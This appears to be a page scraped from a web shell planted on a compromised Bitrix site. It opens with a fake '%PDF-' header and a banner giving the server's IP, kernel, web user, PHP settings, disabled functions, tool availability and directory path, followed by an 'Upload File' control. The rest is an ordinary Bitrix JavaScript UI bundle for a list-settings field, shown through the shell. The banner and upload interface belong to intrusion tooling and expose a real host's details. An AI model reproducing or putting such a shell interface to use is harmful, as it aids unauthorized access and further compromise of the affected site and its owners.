%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.15.88.130 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/listsettingsfield/dist/ |
Upload File : |
this.BX = this.BX || {}; this.BX.Landing = this.BX.Landing || {}; this.BX.Landing.UI = this.BX.Landing.UI || {}; (function (exports,landing_ui_field_basefield,landing_ui_field_textfield,main_core) { 'use strict'; function _templateObject() { var data = babelHelpers.taggedTemplateLiteral(["\n\t\t\t\t<div class=\"landing-ui-field-list-settings-item-container\">\n\t\t\t\t\t", "\n\t\t\t\t\t", "\n\t\t\t\t</div>\n\t\t\t"]); _templateObject = function _templateObject() { return data; }; return data; } var ListItem = /*#__PURE__*/function (_BaseField) { babelHelpers.inherits(ListItem, _BaseField); function ListItem(options) { var _this; babelHelpers.classCallCheck(this, ListItem); _this = babelHelpers.possibleConstructorReturn(this, babelHelpers.getPrototypeOf(ListItem).call(this, options)); _this.setEventNamespace('BX.Landing.UI.Field.ListSettingsField.ListItem'); _this.setValue(options); return _this; } babelHelpers.createClass(ListItem, [{ key: "getTextField", value: function getTextField() { var _this2 = this; return this.cache.remember('textField', function () { return new landing_ui_field_textfield.TextField({ selector: 'label', textOnly: true, onChange: _this2.onTextChange.bind(_this2) }); }); } }, { key: "onTextChange", value: function onTextChange() { this.emit('onChange'); } }, { key: "createInput", value: function createInput() { var _this3 = this; return this.cache.remember('layout', function () { return main_core.Tag.render(_templateObject(), _this3.getTextField().getLayout(), _this3.getCheckboxField().getLayout()); }); } }, { key: "getCheckboxField", value: function getCheckboxField() { var _this4 = this; return this.cache.remember('checkbox', function () { return new BX.Landing.UI.Field.Checkbox({ compact: true, items: [{ name: '', value: _this4.options.value }], onChange: _this4.onCheckboxChange.bind(_this4) }); }); } }, { key: "onCheckboxChange", value: function onCheckboxChange() { this.emit('onChange'); this.adjustState(); } }, { key: "adjustState", value: function adjustState() { var checkboxField = this.getCheckboxField(); var textField = this.getTextField(); if (checkboxField.getValue().length > 0) { textField.enable(); } else { textField.disable(); } } }, { key: "setValue", value: function setValue(value) { this.getTextField().setValue(value.name); this.getCheckboxField().setValue([value.checked ? value.value : '']); this.adjustState(); } }, { key: "getValue", value: function getValue() { return { label: this.getTextField().getValue(), value: this.options.value, checked: this.getCheckboxField().getValue().length > 0 }; } }]); return ListItem; }(landing_ui_field_basefield.BaseField); function _templateObject$1() { var data = babelHelpers.taggedTemplateLiteral(["\n\t\t\t<div class=\"landing-ui-field-list-settings\"></div>\n\t\t"]); _templateObject$1 = function _templateObject() { return data; }; return data; } /** * @memberOf BX.Landing.UI.Field */ var ListSettingsField = /*#__PURE__*/function (_BaseField) { babelHelpers.inherits(ListSettingsField, _BaseField); function ListSettingsField(options) { var _this; babelHelpers.classCallCheck(this, ListSettingsField); _this = babelHelpers.possibleConstructorReturn(this, babelHelpers.getPrototypeOf(ListSettingsField).call(this, babelHelpers.objectSpread({}, options, { textOnly: true }))); _this.setEventNamespace('BX.Landing.UI.Field.ListSettingsField'); _this.onChange = _this.onChange.bind(babelHelpers.assertThisInitialized(_this)); _this.items = []; _this.options.items.forEach(function (item) { _this.addItem(item); }); return _this; } babelHelpers.createClass(ListSettingsField, [{ key: "createInput", value: function createInput() { return main_core.Tag.render(_templateObject$1()); } }, { key: "addItem", value: function addItem(options) { var item = new ListItem(options); item.subscribe('onChange', this.onChange); main_core.Dom.append(item.getLayout(), this.input); this.items.push(item); } }, { key: "onChange", value: function onChange() { this.emit('onChange'); } }, { key: "getValue", value: function getValue() { return this.items.map(function (item) { return item.getValue(); }).filter(function (item) { return item.checked; }); } }]); return ListSettingsField; }(landing_ui_field_basefield.BaseField); exports.ListSettingsField = ListSettingsField; }((this.BX.Landing.UI.Field = this.BX.Landing.UI.Field || {}),BX.Landing.UI.Field,BX.Landing.UI.Field,BX)); //# sourceMappingURL=listsettingsfield.bundle.js.map